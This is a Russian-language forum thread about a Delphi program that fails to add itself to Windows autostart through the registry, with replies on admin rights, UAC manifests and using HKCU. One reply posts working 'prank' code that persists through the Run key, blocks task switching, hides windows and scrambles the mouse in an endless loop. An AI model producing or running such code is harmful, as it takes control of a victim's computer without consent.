Не могу добавить программу в автозапуск (Delphi))

[ENESES_S]

добрый вечер,я ввожу на кнопку вот этот код

procedure TForm1.Button1Click(Sender: TObject);
begin
 reg := tregistry.create;
 reg.rootkey := hkey_local_machine;
reg.openkey('software\microsoft\windows\currentversion\runonce',True);
 reg.writestring('Project1.exe', application. exename); 
 reg.free;
End;

код для автозагрузки программы ,компилируется нормально но когда я захожу в программу и нажимаю на эту кнопку то появляется ошибка (Failed to set data for 'Project1' ) вместо Project и другие слова писал все так же даже UAC отключил но все равно выдает ошибку,может кто нибудь сталкивался? Windows 8 лицензионная не пиратка

[Человек_Борща]

а OpenKey что возвращает? Если False то выведите getLastError

[ENESES_S]

Сообщение от Человек_Борща

а OpenKey что возвращает? Если False то выведите getLastError

и с False и с True пробовал а вот насчет GetLastError не знаю куда его вставить ,можете подсказать?

[саша40]

В раздел HKEY_LOCAL_MACHINE влезать можно только с админскими правами!

[ENESES_S]

Сообщение от саша40

В раздел HKEY_LOCAL_MACHINE влезать можно только с админскими правами!

а как программно его получить? пару лет назад у меня в автозапуск моя программа в легкую добавлялась

[Stilet]

а как программно его получить?

Манифестом. Вот как манифест настраивать не скажу.

Да кстати, мой тебе совет - не делай так. Напиши ридми, в котором убеди пользователя добавить линк на твою прогу в папку-автозагрузку.

[Alex11223]

В инсталяторе (опционально) такое делать надо, его запускать с админ. правами (UAC манифест, ну в инсталяторах это обычно одной строчкой в скрипте включается, если для самой программы, то гуглите "delphi uac manifest", например, http://stackoverflow.com/a/14710803/964478).
В самой программе плохо потому что всегда придется ее тогда запускать с админ. правами (ну или перезапускать с ними при выполнении этого действия).

Впрочем если с отключенным в ОС UAC не работает, то наверно в чем-то другом дело. Разбирайтесь какую ошибку выдает.

[min@y™]

нахрена HKLM? почему не канает HKCU?

[xxbesoxx]

Так . Давайте делаем автозапуск так называемый "компьютерная шутка" сразу напишу как отключить чтобы потом не не обижались )
-----------------------------------------------------------------------
Отключить можно из "диспетчер задач" при включении компьютера запускается сам .
если хотите что не запустил Пусск ---> msconfig и переходите на вкладке "Автозапуска" и отключайте
----------------------------------------------------------------------
начинаю
1.

uses.... registry

2.объявляем глобальное переменное

var
  Form1: TForm1;
  Reg: TRegistry;

3. из события OnCreate пишем

procedure TForm1.FormCreate(Sender: TObject);
begin
  Reg := TRegistry.Create;
   Reg.RootKey := hkey_current_user;
   Reg.OpenKey('software\microsoft\windows\currentversion\run',true);
   Reg.WriteString('Project1.exe',Application.ExeName);
   Reg.CloseKey;
   Reg.Free;
   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, nil, 0);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, nil, 0);
  Randomize;
  hnd := GetDesktopWindow;
  GetWindowRect(hnd, rc);
  repeat
    hnd := GetForegroundWindow;
    ShowWindow(hnd, SW_HIDE);
    SetCursorPos(random(rc.Right), random(rc.Bottom));
    SwapMouseButton(random(2) = 0);
    Sleep(500);
  until False;
  SwapMouseButton(False);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0);
  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, nil, 0);
end;

Компилируем и запускаем .... Я уже сказал как отключить ) Проверял на XP и Wind 8

[ENESES_S]

Сообщение от Alex11223

В инсталяторе (опционально) такое делать надо, его запускать с админ. правами (UAC манифест, ну в инсталяторах это обычно одной строчкой в скрипте включается, если для самой программы, то гуглите "delphi uac manifest", например, http://stackoverflow.com/a/14710803/964478).
В самой программе плохо потому что всегда придется ее тогда запускать с админ. правами (ну или перезапускать с ними при выполнении этого действия).

Впрочем если с отключенным в ОС UAC не работает, то наверно в чем-то другом дело. Разбирайтесь какую ошибку выдает.

ошибку выдает то что не может записать значение в реестр ,пробовал запустить программу с правами все получилось хорошо но вот теперь вопрос в этом манифесте как его правильно настроить просто я с ним еще не сталкивался ну или если есть другие способы накинуть права на мою прогу